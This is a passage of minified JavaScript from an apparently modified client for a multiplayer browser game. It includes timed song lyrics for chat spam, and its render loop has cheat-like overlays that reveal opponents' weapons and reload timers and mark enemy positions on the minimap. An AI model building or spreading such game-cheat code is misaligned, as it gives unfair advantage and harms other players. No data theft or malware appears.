"1:0:743": "I am",
"1:1:695": "I am the champion",
"1:3:466": "Whoa",
"1:4:597": "Come on try and take it",
"1:6:366": "Whoa",
"1:7:255": "It all comes down to this and",
"1:8:781": "Deep in my bones",
"1:10:414": "Oh yeah I know",
"1:12:137": "I am",
"1:13:180": "I am the champion",
"1:17:852": "You know I'm out for blood",
"1:23:339": "Im feeling dangerous",
"1:29:235": "I just can't get enough",
"1:34:722": "Im rising up",
"1:35:555": "my heart is pounding",
"1:37:353": "Ready or not the",
"1:38:625": "clock is counting down",
"1:43:976": "This is my moment..",
"1:49:781": "This is my moment...",
"1:52:684": "This is my moment yeah",
"1:55:136": "Whoa",
"1:56:117": "I was born for greatness",
"1:58:079": "Whoa",
"1:59:060": "A legend in the making",
"2:0:557": "Deep in my bones",
"2:1:963": "Oh yeah I know",
"2:3:718": "I am",
"2:4:931": "I am the champion",
"2:6:609": "Whoa",
"2:7:652": "Come on try to take it",
"2:9:511": "Whoa",
"2:10:645": "It all comes down to this and",
"2:11:920": "Deep in my bones",
"2:13:553": "Oh yeah I know",
"2:15:231": "I am",
"2:16:228": "I am the champion",
"2:21:943": "I am the",
"2:22:804": "I am the.",
"2:26:627": "I am.",
"2:27:897": "I am the champion",
"2:29:756": "I know where I'm going",
"2:32:840": "I have been chosen",
"2:35:607": "I'll never be broken",
"2:39:326": "I am the champion",
"2:41:276": "A clashing of titans",
"2:44:269": "A battle of giants",
"2:46:555": "Take a moment of silence",
"2:53:472": "I am the champion",
"2:55:467": "Whoa",
"2:56:510": "I was born for greatness",
"2:58:279": "Whoa",
"2:59:336": "A legend in the making",
"3:0:878": "Deep in my bones",
"3:2:238": "Oh yeah I know",
"3:4:007": "I am",
"3:5:186": "I am the champion",
"3:6:955": "Whoa",
"3:7:689": "Come on try to take it",
"3:9:799": "Whoa",
"3:10:797": "It all comes down to this and",
"3:12:115": "Deep in my bones",
"3:13:666": "Oh yeah I know",
"3:15:515": "I am",
"3:16:649": "I am the champion",
"3:22:318": "I am the",
"3:22:998": "I am the.",
"3:27:033": "I am",
"3:28:123": "I am the champion.",
}
}, {
name: "JPB & Mendum - Losing Control",
src: "https://cdn.discordapp.com/attachments/1040928912118652928/1080030493212409896/JPB__Mendum_-_Losing_Control_feat._Marvin_Divine_.mp3",
sync: {
"10:259": "(Losing control)",
"12:346": "(I like losing control)",
"15:384": "I like losing control",
"18:220": "I get high when",
"19:672": "I'm feeling my flow",
"21:667": "My mind is focused",
"22:665": "and I'm ready to go",
"24:161": "Ready to go",
"26:248": "Na na",
"27:835": "I like losing control",
"30:702": "I get high when Im feeling my",
"32:788": "flow",
"33:695": "My mind is focused and",
"35:283": "I'm ready to go",
"36:779": "Ready to go",
"38:593": "Na na",
"49:519": "I like losing control",
"1:6:798": "Hahaha",
"1:8:748": "Oh yeah",
"1:12:58": "Are we talking",
"1:13:65": "'bout losing control?",
"1:15:287": "I'mma show you",
"1:16:1": "how we lose control baby",
"1:18:335": "haha",
"1:19:877": "Watch this",
"1:21:237": "Look, look",
"1:22:779": "Marvin, marv (yeah)",
"1:24:140": "Watch the way I start up(yeah)",
"1:25:500": "I've been going hard,",
"1:26:861": "I can go way harder (aha)",
"1:28:493": "Every beat I'm on,",
"1:29:854": "yeah you know that I spot her",
"1:31:634": "and Im always looking gorgeous",
"1:32:904": "Chillingwith somebody daughter",
"1:34:673": "Yeah, she loves me (me)",
"1:35:988": "Said she love the way my chain",
"1:37:484": "Sit and cut the blade",
"1:39:72": "And of course she says my name",
"1:40:659": "If you want a way (aha)",
"1:42:156": "To let you know we spent bloke",
"1:43:652": "Always winning check the score",
"1:45:466": "I'm only losing control, oh",
"1:46:323": "I like losing control",
"1:51:135": "I get high when",
"1:52:360": "I'm feeling my flow",
"1:54:264": "My mind is focused",
"1:55:262": "and I'm ready to go",
"1:57:212": "Ready to go",
"1:59:208": "na na",
"2:11:215": "I get high when",
"2:12:712": "Im feeling my flow",
"2:14:617": "Na, na",
"2:15:650": "Losing control",
"2:16:158": "Losing control",
"2:17:1": "(Losing control)",
"2:18:2": ".Losing control.",
"2:19:3": "..Losing control..",
"2:20:3": "...Losing control...",
"2:21:3": "..Losing control..",
"2:22:3": ".Losing control.",
"2:23:3": "(Losing control)",
"2:25:969": "!!!Losing control...",
"2:26:500": "..Losing control..",
"2:27:500": ".Losing control.",
"2:28:500": "..Losing control..",
"2:29:500": "...Losing control...",
"2:30:500": "..Losing control..",
"2:31:500": ".Losing control.",
"2:32:500": "..Losing control..",
"2:33:500": "...Losing control...",
"2:34:9": "(Losing control)",
"2:36:452": "Always winning check the score",
"2:38:85": "I'm only losing control",
"2:39:446": "I like losing control",
},
}, {
name: "Freddie Dredd - Limbo",
src: "https://cdn.discordapp.com/attachments/1027664063297224734/1080003023234928690/Freddie_Dredd_-_Limbo_Lyrics_1.mp3",
sync: {
"13:750": "Walk around the world,",
"15:42": "it feel like every",
"16:3": "place the same",
"17:1": "I look into your eyes and see",
"18:861": "that you are in some pain",
"20:28": "Freddie gonna help",
"21:70": "the business",
"22:1": "help a rope around your neck",
"23:70": "Gonna help you make a choice",
"24:945": "let it sit, don't let it rest",
"26:320": "You a pest, what the f*ck",
"27:778": "you left a mess",
"28:945": "It's okay, I'll just say that",
"30:695": "your body's gone today",
"31:820": "You in Hell,",
"32:736": "I don't think you failed,",
"33:861": "you just made some bail",
"35:111": "Come that day, it gets worse",
"36:695": "and I hope you f*cking hurt",
"38:70": "Now what's the word, captain?",
"39:695": "I think I caught you lackin'",
"41:486": "There are nine more layers",
"43:140": "than this hell's packin'",
"44:348": "No tippy tappin', bit*h",
"46:431": "I come in rippy rappin'",
"47:723": "I feel lucky I'm not you",
"49:556": "At the top I do the do",
"51:181": "Stuck in the fuc*in' darkness",
"52:890": "and it's cold, at heart",
"54:265": "Haven't felt sun in some days,",
"55:598": "b*tch, where do I start?",
"57:681": "Start from the top,",
"58:890": "and the next stop the bottom",
"1:0:931": "Rock bottom baby,",
"1:2:265": "I swear I already got em'",
"1:4:983": "Close your eyes",
"1:5:774": "and think of something for me",
"1:7:399": "Think of all the times that",
"1:9:107": "you been feeling kinda lonely",
"1:10:857": "What could you do with your",
"1:12:268": "time instead?",
"1:13:434": "What? You smoking weed,",
"1:14:934": "you f*ck your b*tch and",
"1:15:809": "go to bed",
"1:16:934": "Notice all the colors that you",
"1:18:559": "seeing in your head",
"1:19:893": "Now strip away that s*it and",
"1:21:393": "feel the darkness,",
"1:22:309": "feel it spread",
"1:23:434": "This is what is like to be",
"1:24:601": "known as d*ad",
"1:26:601": "Now open up your eyes,",
"1:27:684": "you see the world it is red",
"1:29:226": "Now what's the word, captain?",
"1:30:893": "I think I caught you lackin",
"1:32:601": "There are nine more layers",
"1:34:309": "than this hell's packin'",
"1:35:726": "No tippy tappin', b*tch",
"1:37:330": "I come in rippy rappin'",
"1:38:996": "I feel lucky I'm not you",
"1:40:621": "At the top I do the do",
"1:42:163": "Stuck in the fu*kin' darkness",
"1:43:905": "and it's cold, at heart",
"1:45:572": "Haven't felt sun in some days",
"1:46:738": "b*tch, where do I start?",
"1:48:863": "Start from the top,",
"1:50:277": "Rock bottom baby,",
"1:53:568": "I swear I already got em'",
"1:55:27": "Now what's the word, captain?",
"1:56:443": "I think I caught you lackin'",
"1:58:193": "There are nine more layers",
"2:0:235": "than this hell's packin'",
"2:1:485": "No tippy tappin', b*tch",
"2:2:985": "I come in rippy rappin'",
"2:4:402": "I feel lucky I'm not you",
"2:6:193": "At the top I do the do",
"2:7:652": "Stuck in the f*ckin' darkness",
"2:9:402": "and it's cold, at heart",
"2:10:985": "Haven't felt sun in some days",
"2:12:610": "b*tch, where do I start?",
"2:14:568": "Start from the top,",
"2:15:943": "and the next stop the bottom",
"2:17:652": "Rock bottom baby,",
"2:19:110": "I swear I already got em'",
},
}, {
name: "Adrenaline - ACE",
src: "https://cdn.discordapp.com/attachments/1030764523734441985/1081989273361842246/ADRENALINE_-_ACE.mp3",
sync: {
"1:0:816": "Body feels like lava flowin'",
"1:3:428": "Hard adrenaline",
"1:6:637": "Rushin' though the pain",
"1:8:315": "and squeezing",
"1:9:449": "Power's runnin' in my veins",
"1:11:762": "Fight or flight",
"1:13:258": "And my mind turns crazy",
"1:15:753": "It's time to do or die",
"1:18:746": "Fear thunders in my heart",
"1:21:229": "and I, and I",
"1:24:721": "Energy, a heart explosion",
"1:27:896": "All I need, adrenaline",
"1:30:753": "Never stop to is in my mind",
"1:33:565": "Fire away, adrenaline",
"1:36:785": "Rollercoaster of emotion",
"1:39:869": "I just need adrenaline",
"1:42:635": "Setting all the worlds afire",
"1:45:583": "Energy, adrenaline",
"2:1:33": "It's no game, we're messin'",
"2:2:847": "'round with",
"2:3:981": "Hard adrenaline",
"2:7:246": "Waste a wave of hungryfeelings",
"2:10:285": "Just bring out the best in me",
"2:12:643": "Fight or flight",
"2:14:185": "And my mind turns crazy",
"2:16:453": "It's time to do or die",
"2:19:128": "Fear thunders in my heart",
"2:21:940": "and I, and I",
"2:25:468": "Energy, a heart explosion",
"2:28:371": "All I need, adrenaline",
"2:31:545": "Never stop to is in my mind",
"2:34:584": "Fire away, adrenaline",
"2:37:441": "Rollercoaster of emotion",
"2:40:752": "I just need adrenaline",
"2:43:563": "Setting all the worlds afire",
"2:46:693": "Energy, adrenaline",
"3:40:48": "Energy, a heart explosion",
"3:42:995": "All I need, adrenaline",
"3:45:995": "Never stop to is in my mind",
"3:48:995": "Fire away, adrenaline",
"3:53:653": "Rollercoaster of emotion",
"3:56:374": "I just need adrenaline",
"3:59:549": "Setting all the worlds afire",
"4:2:542": "Energy, adrenaline",
"4:18:160": "A D R E N A L I N E",
}
}];
//Thanks To BySylex For Making Song Chats
var converToJSDelay = (time) => {
let newTime = time.split(":").reverse();
time = 0;
let convert = [6e4 * 60, 6e4, 1000, 1].reverse();
newTime.forEach((b, c) => {
time += b * convert[c];
});
return time;
};
songs.forEach(e => {
let oldDatas = e.sync;
e.sync = {};
for (let time in oldDatas) {
e.sync[converToJSDelay(time)] = oldDatas[time];
}
});
/* for(let i of songs){
let option = document.createElement("option");
option.text = i.name;
option.value = i.name;
document.getElementById("songs").add(option);
}*/
function findP(e){
for (var t = 0; t < players.length; ++t)
if (players[t].sid == e)
return players[t];
return null
}
function bn(e) {
for (var t = 0; t < X.length; ++t)
if (X[t].sid == e)
return X[t];
return null
}
function xn(e) {
for (var t = 0; t < W.length; ++t)
if (W[t].sid == e)
return W[t];
return null
}
function Sn(e) {
for (var t = 0; t < N.length; ++t)
if (N[t].sid == e)
return N[t];
return null
}
var In = -1;
function Tn() {
var e = Date.now() - In;
window.pingTime = e,
Ie.innerText = "Ping: " + e + " ms"
}
function Mn() {
In = Date.now(),
s.send("pp")
}
function Cn(e) {
if (!(e < 0)) {
var t = Math.floor(e / 60)
, i = e % 60;
i = ("0" + i).slice(-2),
Te.innerText = "Server restarting in " + t + ":" + i,
Te.hidden = !1
}
}
var reloadbars = {
toggle: false
}
function Pn(e) {
window.open(e, "_blank")
}
var reload2 = {
toggle: true
}
window.requestAnimFrame = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function(e) {
window.setTimeout(e, 1e3 / 60)
};
(function() {
var e = r.mapScale / 2;
tt.add(0, e, e + 200, 0, r.treeScales[3], 0),
tt.add(1, e, e - 480, 0, r.treeScales[3], 0),
tt.add(2, e + 300, e + 450, 0, r.treeScales[3], 0),
tt.add(3, e - 950, e - 130, 0, r.treeScales[2], 0),
tt.add(4, e - 750, e - 400, 0, r.treeScales[3], 0),
tt.add(5, e - 700, e + 400, 0, r.treeScales[2], 0),
tt.add(6, e + 800, e - 200, 0, r.treeScales[3], 0),
tt.add(7, e - 260, e + 340, 0, r.bushScales[3], 1),
tt.add(8, e + 760, e + 310, 0, r.bushScales[3], 1),
tt.add(9, e - 800, e + 100, 0, r.bushScales[3], 1),
tt.add(10, e - 800, e + 300, 0, l.list[4].scale, l.list[4].id, l.list[10]),
tt.add(11, e + 650, e - 390, 0, l.list[4].scale, l.list[4].id, l.list[10]),
tt.add(12, e - 400, e - 450, 0, r.rockScales[2], 2)
}());
(function e() {
O = Date.now(),
E = O - q,
q = O,
function() {
ticked += E;
if (xi < 120 && (xi += .1 * E,
Ne.style.fontSize = Math.min(Math.round(xi), 120) + "px"),
A) {
var e = o.getDistance(R, L, A.x, A.y)
, t = o.getDirection(A.x, A.y, R, L)
, i = Math.min(.01 * e * E, e);
e > .05 ? (R += i * Math.cos(t),
L += i * Math.sin(t)) : (R = A.x,
L = A.y)
} else
R = r.mapScale / 2,
L = r.mapScale / 2;
for (var n = O - 1e3 / r.serverUpdateRate, a = 0; a < X.length + W.length; ++a)
if ((U = X[a] || W[a - X.length]) && U.visible)
if (U.forcePos)
U.x = U.x2,
U.y = U.y2,
U.dir = U.d2;
else {
var c = U.t2 - U.t1
, q = (n - U.t1) / c;
U.dt += E;
var h = Math.min(1.7, U.dt / 170)
, u = U.x2 - U.x1;
U.x = U.x1 + u * h,
u = U.y2 - U.y1,
U.y = U.y1 + u * h,
U.dir = Math.lerpAngle(U.d2, U.d1, Math.min(1.2, q))
}
var d = R - ae / 2
, f = L - re / 2;
r.snowBiomeTop - f <= 0 && r.mapScale - r.snowBiomeTop - f >= re ? (ve.fillStyle = "#b6db66",
ve.fillRect(0, 0, ae, re)) : r.mapScale - r.snowBiomeTop - f <= 0 ? (ve.fillStyle = "#dbc666",
ve.fillRect(0, 0, ae, re)) : r.snowBiomeTop - f >= re ? (ve.fillStyle = "#fff",
ve.fillRect(0, 0, ae, re)) : r.snowBiomeTop - f >= 0 ? (ve.fillStyle = "#fff",
ve.fillRect(0, 0, ae, r.snowBiomeTop - f),
ve.fillStyle = "#b6db66",
ve.fillRect(0, r.snowBiomeTop - f, ae, re - (r.snowBiomeTop - f))) : (ve.fillStyle = "#b6db66",
ve.fillRect(0, 0, ae, r.mapScale - r.snowBiomeTop - f),
ve.fillStyle = "#dbc666",
ve.fillRect(0, r.mapScale - r.snowBiomeTop - f, ae, re - (r.mapScale - r.snowBiomeTop - f)));
wi || ((Z += ee * r.waveSpeed * E) >= r.waveMax ? (Z = r.waveMax, ee = -1) : Z <= 1 && (Z = ee = 1),
ve.globalAlpha = 1,
ve.fillStyle = "#dbc666",
zi(d, f, ve, r.riverPadding),
ve.fillStyle = "#91b2db",
zi(d, f, ve, 250 * (Z - 1)));
ve.lineWidth = 4;
ve.strokeStyle = "#000";
ve.globalAlpha = .06;
ve.beginPath();
ve.stroke();
ve.globalAlpha = 1;
ve.strokeStyle = it;
_i(-1, d, f);
ve.globalAlpha = 1;
ve.lineWidth = 5.5;
Ui(0, d, f);
Hi(d, f, 0);
ve.globalAlpha = 1;
for(a = 0; a < W.length; ++a)
(U = W[a]).active && U.visible && (U.animate(E),
ve.save(),
ve.translate(U.x - d, U.y - f),
ve.rotate(U.dir + U.dirPlus - Math.PI / 2),
fn(U, ve),
ve.restore());
_i(0, d, f);
Ui(1, d, f);
_i(1, d, f);
Hi(d, f, 1);
_i(2, d, f);
_i(3, d, f);
ve.fillStyle = "#000";
ve.globalAlpha = .09;
d <= 0 && ve.fillRect(0, 0, -d, re);
if (r.mapScale - d <= ae) {
var y = Math.max(0, -f);
ve.fillRect(r.mapScale - d, y, ae - (r.mapScale - d), re - y)
}
f <= 0 && ve.fillRect(-d, 0, ae + d, -f);
if (r.mapScale - f <= re) {
let k = Math.max(0, -d)
, w = 0;
r.mapScale - d <= ae && (w = ae - (r.mapScale - d)),
ve.fillRect(k, r.mapScale - f, ae - k - w, re - (r.mapScale - f))
}
ve.globalAlpha = 1;
ve.fillStyle = "rgba(0, 0, 70, 0.35)";
ve.fillRect(0, 0, ae, re);
ve.strokeStyle = nt;
for (let a = 0; a < X.length + W.length; ++a)
if ((U = X[a] || W[a - X.length]).visible) {
let k;
//var v = (U.team ? "[" + U.team + "] " : "") + (U.name || "");
var v = (U.team ? `[${U.team}] ` : "") + (U.isPlayer && A != U ? `[${U.weapons.join("/")}/${U.dmgOverTime.time}] ` : "") + (U.name || "");
if ("" != v) {
ve.font = (U.nameScale || 30) + "px Hammersmith One";
ve.fillStyle = "#fff";
ve.textBaseline = "middle";
ve.textAlign = "center";
ve.lineWidth = U.nameScale ? 11 : 8;
ve.lineJoin = "round";
ve.strokeText(v, U.x - d, U.y - f - U.scale - r.nameY);
ve.fillText(v, U.x - d, U.y - f - U.scale - r.nameY);
if (U.isLeader && Ci.crown.isLoaded) {
var b = r.crownIconScale;
k = U.x - d - b / 2 - ve.measureText(v).width / 2 - r.crownPad,
ve.drawImage(Ci.crown, k, U.y - f - U.scale - r.nameY - b / 2 - 5, b, b)
}
1 == U.iconIndex && Ci.skull.isLoaded && (b = r.crownIconScale,
k = U.x - d - b / 2 + ve.measureText(v).width / 2 + r.crownPad,
ve.drawImage(Ci.skull, k, U.y - f - U.scale - r.nameY - b / 2 - 5, b, b))
}
let shameImage = new Image();
shameImage.src = "https://cdn.discordapp.com/attachments/945393597820305458/977291606082334731/L_1nzer4694.png";
shameImage.isLoaded = false;
shameImage.onload = function(){
shameImage.isLoaded = true;
}
if(!reload1.toggle && reload2.toggle) {
U.isPlayer && (b = 48,
k = U.x - d - b / 2 + ve.measureText(v).width / 2 + r.crownPad,
ve.font = "34px Hammersmith One",
ve.fillStyle = "#8b6c62",
ve.strokeStyle = nt,
ve.textBaseline = "middle",
ve.textAlign = "center",
ve.lineWidth = U.nameScale ? 11 : 8,
ve.lineJoin = "round",
k = U.y - f + U.scale + r.nameY - 17 + r.healthBarPad,
ve.fillStyle = nt,
ve.roundRect(U.x - d - r.healthBarWidth - r.healthBarPad, k, r.healthBarWidth + 2 * r.healthBarPad, 17, 8),
ve.fill(),
k = U.y - f + U.scale + r.nameY + r.healthBarPad - 17 + r.healthBarPad,
ve.fillStyle = U.reloads[U.weapons[0]] ? "#6aff9b" : "#fdffff",
ve.roundRect(U.x - d - r.healthBarWidth, k, (r.healthBarWidth-r.healthBarWidth * (U.reloads[U.weapons[0]] / l.weapons[U.weapons[0]].speed)), 17 - 2 * r.healthBarPad, 7),
ve.fill(),
k = U.y - f + U.scale + r.nameY - 17 + r.healthBarPad,
ve.fillStyle = nt,
ve.roundRect(U.x - d - r.healthBarPad, k, r.healthBarWidth + 2 * r.healthBarPad, 17, 8),
ve.fill(),
k = U.y - f + U.scale + r.nameY + r.healthBarPad - 17 + r.healthBarPad,
ve.fillStyle = U.weapons[1] && U.reloads[U.weapons[1]] ? "#6aff9b" : "#fdffff",
ve.roundRect(U.x - d, k, (U.weapons[1] ? (r.healthBarWidth - r.healthBarWidth * (U.reloads[U.weapons[1]] / l.weapons[U.weapons[1]].speed)) : r.healthBarWidth), 17 - 2 * r.healthBarPad, 7),
ve.fill());
for (let each of Object.values(autoImg)) {
if (each.image.loaded && U.sid == each.target) {
ve.drawImage(each.image, U.x - d - 35, U.y - f - 35, 70, 70);
}
}
}
if(reload1.toggle) {
U.isPlayer && (b = 48,
k = U.x - d - b / 2 + ve.measureText(v).width / 2 + r.crownPad,
ve.font = "34px Hammersmith One",
ve.fillStyle = "#AD5B78",
ve.strokeStyle = nt,
ve.textBaseline = "middle",
ve.textAlign = "center",
ve.lineWidth = U.nameScale ? 11 : 8,
ve.lineJoin = "round",
ve.strokeText(U.shameCount, k + b/2, U.y - f - U.scale - r.nameY),
ve.fillText(U.shameCount, k + b/2, U.y - f - U.scale - r.nameY),
k = U.y - f + U.scale + r.nameY - 17 + r.healthBarPad,
ve.fillStyle = nt,
ve.roundRect(U.x - d - r.healthBarWidth - r.healthBarPad, k, r.healthBarWidth + 2 * r.healthBarPad, 17, 8),
ve.fill(),
k = U.y - f + U.scale + r.nameY + r.healthBarPad - 17 + r.healthBarPad,
ve.fillStyle = U.reloads[U.weapons[0]] ? "#C597A7" : "#AD5B78",
ve.roundRect(U.x - d - r.healthBarWidth, k, (r.healthBarWidth-r.healthBarWidth * (U.reloads[U.weapons[0]] / l.weapons[U.weapons[0]].speed)), 17 - 2 * r.healthBarPad, 7),
ve.fill(),
k = U.y - f + U.scale + r.nameY - 17 + r.healthBarPad,
ve.fillStyle = nt,
ve.roundRect(U.x - d - r.healthBarPad, k, r.healthBarWidth + 2 * r.healthBarPad, 17, 8),
ve.fill(),
k = U.y - f + U.scale + r.nameY + r.healthBarPad - 17 + r.healthBarPad,
ve.fillStyle = U.weapons[1] && U.reloads[U.weapons[1]] ? "#C597A7" : "#AD5B78",
ve.roundRect(U.x - d, k, (U.weapons[1] ? (r.healthBarWidth - r.healthBarWidth * (U.reloads[U.weapons[1]] / l.weapons[U.weapons[1]].speed)) : r.healthBarWidth), 17 - 2 * r.healthBarPad, 7),
ve.fill());
for (let each of Object.values(autoImg)) {
if (each.image.loaded && U.sid == each.target) {
ve.drawImage(each.image, U.x - d - 35, U.y - f - 35, 70, 70);
}
}
}
U.health > 0 && (ve.fillStyle = nt,
ve.roundRect(U.x - d - r.healthBarWidth - r.healthBarPad, U.y - f + U.scale + r.nameY, 2 * r.healthBarWidth + 2 * r.healthBarPad, 17, 8),
ve.fill(),
ve.fillStyle = U == A || U.team && U.team == A.team ? "#8ecc51" : "#cc5151",
ve.roundRect(U.x - d - r.healthBarWidth, U.y - f + U.scale + r.nameY + r.healthBarPad, 2 * r.healthBarWidth * (U.health / U.maxHealth), 17 - 2 * r.healthBarPad, 7),
ve.fill());
}
for(let U of N){
if(showTrapRadar && U.active && A && U.trap && U.owner.sid == A.sid){
ve.lineCap = "round";
ve.strokeStyle = "white";
ve.lineWidth = 3;
ve.beginPath();
ve.moveTo(A.x-d, A.y-f);
ve.lineTo(U.x-d, U.y-f);
ve.stroke();
}
}
m.update(E, ve, d, f);
for (let a = 0; a < X.length; ++a)
if ((U = X[a]).visible && U.chatCountdown > 0) {
U.chatCountdown -= E,
U.chatCountdown <= 0 && (U.chatCountdown = 0),
ve.font = "32px Hammersmith One";
var x = ve.measureText(U.chatMessage);
ve.textBaseline = "middle",
ve.textAlign = "center",
k = U.x - d,
y = U.y - U.scale - f - 90;
var S = x.width + 17;
ve.fillStyle = "rgba(0,0,0,0.2)",
ve.roundRect(k - S / 2, y - 23.5, S, 47, 6),
ve.fill(),
ve.fillStyle = "#fff",
ve.fillText(U.chatMessage, k, y)
}
!function(e) {
if (A && A.alive) {
Ke.clearRect(0, 0, Ge.width, Ge.height),
Ke.strokeStyle = "#fff",
Ke.lineWidth = 4;
for (var t = 0; t < zt.length; ++t)
(Lt = zt[t]).update(Ke, e);
for(let U of enemies){
Ke.globalAlpha = 1;
Ke.fillStyle = "red";
en(U.x / r.mapScale * Ge.width, U.y / r.mapScale * Ge.height, 7, Ke, !0);
}
if (Ke.globalAlpha = 1,
Ke.fillStyle = "#fff",
en(A.x / r.mapScale * Ge.width, A.y / r.mapScale * Ge.height, 7, Ke, !0),
Ke.fillStyle = "rgba(255,255,255,0.35)",
A.team && bt)
for (t = 0; t < bt.length; )
en(bt[t] / r.mapScale * Ge.width, bt[t + 1] / r.mapScale * Ge.height, 7, Ke, !0),
t += 2;
vt && (Ke.fillStyle = "#fc5553",
Ke.font = "34px Hammersmith One",
Ke.textBaseline = "middle",
Ke.textAlign = "center",
Ke.fillText("x", vt.x / r.mapScale * Ge.width, vt.y / r.mapScale * Ge.height)),
xt && (Ke.fillStyle = "#fff",
Ke.font = "34px Hammersmith One",
Ke.textBaseline = "middle",
Ke.textAlign = "center",
Ke.fillText("x", xt.x / r.mapScale * Ge.width, xt.y / r.mapScale * Ge.height))
}
}(E),
-1 !== ne.id && Di(ne.startX, ne.startY, ne.currentX, ne.currentY),
-1 !== se.id && Di(se.startX, se.startY, se.currentX, se.currentY)
}(),
requestAnimFrame(e)
}()),
window.openLink = Pn,
window.aJoinReq = jt,
window.follmoo = function() {
H || (H = !0,
T("moofoll", 1))
}
,
window.kickFromClan = At,
window.sendJoin = Dt,
window.leaveAlliance = Rt,
window.createAlliance = Ut,
window.storeBuy = Xt,
window.storeEquip = Wt,
window.showItemInfo = wt,
window.selectSkinColor = function(e) {
oe = e,
Kt()
}
,
window.changeStoreIndex = function(e) {
Ht != e && (Ht = e,
qt())
}
,
window.config = r,
window.FRVR && window.FRVR.bootstrapper.complete()
}
, function(e, t) {
!function(e, t, i) {
function n(e, t) {
return typeof e === t
}
var s = []
, o = []
, a = {
_version: "3.5.0",
_config: {
classPrefix: "",
enableClasses: !0,
enableJSClass: !0,
usePrefixes: !0
},
_q: [],
on: function(e, t) {
var i = this;
setTimeout((function() {
t(i[e])
}
), 0)
},
addTest: function(e, t, i) {
o.push({
name: e,
fn: t,
options: i
})
},
addAsyncTest: function(e) {
o.push({
name: null,
fn: e
})
}
}
, r = function() {};
r.prototype = a,
r = new r;
var c = t.documentElement
, l = "svg" === c.nodeName.toLowerCase();
r.addTest("passiveeventlisteners", (function() {
var t = !1;
try {
var i = Object.defineProperty({}, "passive", {
get: function() {
t = !0
}
});
e.addEventListener("test", null, i)
} catch (e) {}
return t
}
)),
function() {
var e, t, i, a, c, l;
for (var h in o)
if (o.hasOwnProperty(h)) {
if (e = [],
(t = o[h]).name && (e.push(t.name.toLowerCase()),
t.options && t.options.aliases && t.options.aliases.length))
for (i = 0; i < t.options.aliases.length; i++)
e.push(t.options.aliases[i].toLowerCase());
for (a = n(t.fn, "function") ? t.fn() : t.fn,
c = 0; c < e.length; c++)
1 === (l = e[c].split(".")).length ? r[l[0]] = a : (!r[l[0]] || r[l[0]]instanceof Boolean || (r[l[0]] = new Boolean(r[l[0]])),
r[l[0]][l[1]] = a),
s.push((a ? "" : "no-") + l.join("-"))
}
}(),
function(e) {
var t = c.className
, i = r._config.classPrefix || "";
if (l && (t = t.baseVal),
r._config.enableJSClass) {
var n = new RegExp("(^|\\s)" + i + "no-js(\\s|$)");
t = t.replace(n, "$1" + i + "js$2")
}
r._config.enableClasses && (t += " " + i + e.join(" " + i),
l ? c.className.baseVal = t : c.className = t)
}(s),
delete a.addTest,
delete a.addAsyncTest;
for (var h = 0; h < r._q.length; h++)
r._q[h]();
e.Modernizr = r
}(window, document)
}
, function(e, t, i) {
const {Encoder: n, Decoder: s} = i(37)
, o = new n
, a = new s;
i(0),
e.exports = {
socket: null,
connected: !1,
socketId: -1,
connect: function(e, t, i) {
if (!this.socket) {
var n = this;
try {
var s = !1
, o = e;
this.socket = new WebSocket(o),
this.socket.binaryType = "arraybuffer",
this.socket.onmessage = function(e) {
var t = new Uint8Array(e.data)
, s = a.decode(t)
, o = s[0];
t = s[1],
"io-init" == o ? n.socketId = t[0] : i[o].apply(void 0, t)
}
,
this.socket.onopen = function() {
n.connected = !0,
t()
}
,
this.socket.onclose = function(e) {
n.connected = !1,
4001 == e.code ? t("Invalid Connection") : s || t("disconnected")
}
,
this.socket.onerror = function(e) {
this.socket && this.socket.readyState != WebSocket.OPEN && (s = !0,
console.error("Socket error", arguments),
t("Socket error"))
}
} catch (e) {
console.warn("Socket connection error:", e),
t(e)
}
}
},
send: function(e) {
var t = Array.prototype.slice.call(arguments, 1)
, i = o.encode([e, t]);
this.socket.send(i)
},
socketReady: function() {
return this.socket && this.connected
},
close: function() {
this.socket && this.socket.close()
},
}
}
, function(e, t) {
var i, n, s = e.exports = {};
function o() {
throw new Error("setTimeout has not been defined")
}
function a() {
throw new Error("clearTimeout has not been defined")
}
function r(e) {
if (i === setTimeout)
return setTimeout(e, 0);
if ((i === o || !i) && setTimeout)
return i = setTimeout,
setTimeout(e, 0);
try {
return i(e, 0)
} catch (t) {
try {
return i.call(null, e, 0)
} catch (t) {
return i.call(this, e, 0)
}
}
}
!function() {
try {
i = "function" == typeof setTimeout ? setTimeout : o
} catch (e) {
i = o
}
try {
n = "function" == typeof clearTimeout ? clearTimeout : a
} catch (e) {
n = a
}
}();
var c, l = [], h = !1, u = -1;
function d() {
h && c && (h = !1,
c.length ? l = c.concat(l) : u = -1,
l.length && f())
}
function f() {
if (!h) {
var e = r(d);
h = !0;
for (var t = l.length; t; ) {
for (c = l,
l = []; ++u < t; )
c && c[u].run();
u = -1,
t = l.length
}
c = null,
h = !1,
function(e) {
if (n === clearTimeout)
return clearTimeout(e);
if ((n === a || !n) && clearTimeout)
return n = clearTimeout,
clearTimeout(e);
try {
n(e)
} catch (t) {
try {
return n.call(null, e)
} catch (t) {
return n.call(this, e)
}
}
}(e)
}
}
function p(e, t) {
this.fun = e,
this.array = t
}
function g() {}
s.nextTick = function(e) {
var t = new Array(arguments.length - 1);
if (arguments.length > 1)
for (var i = 1; i < arguments.length; i++)
t[i - 1] = arguments[i];
l.push(new p(e,t)),
1 !== l.length || h || r(f)
}
,
p.prototype.run = function() {
this.fun.apply(null, this.array)
}
,
s.title = "browser",
s.browser = !0,
s.env = {},
s.argv = [],
s.version = "",
s.versions = {},
s.on = g,
s.addListener = g,
s.once = g,
s.off = g,
s.removeListener = g,
s.removeAllListeners = g,
s.emit = g,
s.prependListener = g,
s.prependOnceListener = g,
s.listeners = function(e) {
return []
}
,
s.binding = function(e) {
throw new Error("process.binding is not supported")
}
,
s.cwd = function() {
return "/"
}
,
s.chdir = function(e) {
throw new Error("process.chdir is not supported")
}
,
s.umask = function() {
return 0
}
}
, function(e, t) {
var i = Math.abs
, n = (Math.cos,
Math.sin,
Math.pow,
Math.sqrt)
, s = (i = Math.abs,
Math.atan2)
, o = Math.PI;
e.exports.randInt = function(e, t) {
return Math.floor(Math.random() * (t - e + 1)) + e
}
,
e.exports.randFloat = function(e, t) {
return Math.random() * (t - e + 1) + e
}
,
e.exports.lerp = function(e, t, i) {
return e + (t - e) * i
}
,
e.exports.decel = function(e, t) {
return e > 0 ? e = Math.max(0, e - t) : e < 0 && (e = Math.min(0, e + t)),
e
}
,
